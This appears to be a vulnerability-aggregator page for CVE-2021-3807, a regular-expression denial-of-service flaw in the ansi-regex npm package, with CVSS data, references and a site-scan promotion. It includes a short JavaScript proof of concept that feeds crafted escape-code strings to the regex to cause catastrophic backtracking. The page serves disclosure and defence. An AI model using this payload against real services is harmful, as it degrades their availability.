🛡️ CVE-2021-3807 — ansi-regex

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-1333 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Inefficient Regular Expression Complexity in chalk/ansi-regex

ansi-regex is vulnerable to Inefficient Regular Expression Complexity which could lead to a denial of service when parsing invalid ANSI escape codes.

Proof of Concept

```js

import ansiRegex from 'ansi-regex';

for(var i = 1; i <= 50000; i++) {

var time = Date.now();

var attack_str = "\u001B["+";".repeat(i*10000);

ansiRegex().test(attack_str)

var time_cost = Date.now() - time;

console.log("attack_str.length: " + attack_str.length + ": " + time_cost+" ms")

}

```

The ReDOS is mainly due to the sub-patterns [[\\]()#;?]* and (?:;[-a-zA-Z\\d\\/#&.:=?%@~_]*)*

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

Weakness class

CVE-2021-3807 is classified as CWE-1333: Inefficient Regular Expression Complexity. A regular expression backtracks catastrophically on crafted input, consuming CPU out of proportion to input size.

Affected software

CVE-2021-3807 is recorded against 1 package.

  • ansi-regex

Timeline and source

Published on 20 September 2021 and last revised on 7 August 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

nvd.nist.gov (Advisory)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
github.com (Web)
app.snyk.io (Web)
github.com (Package)
github.com (Web)
huntr.dev (Web)
security.netapp.com (Web)
www.oracle.com (Web)

CVE-2021-3807 on other distributions

Each distribution ships its own build and its own fixed version. Pick the one you run:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-1333
Public Exploit ✅ No
Source OSV
Published 2021-09-20
Updated 2026-08-12
Modified 2026-08-07
Fix URL N/A

Affected Packages

Software From version Fixed in
ansi-regex

References

Similar Threats

Site Security Check

Is ansi-regex part of your stack?

CVE-2021-3807 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.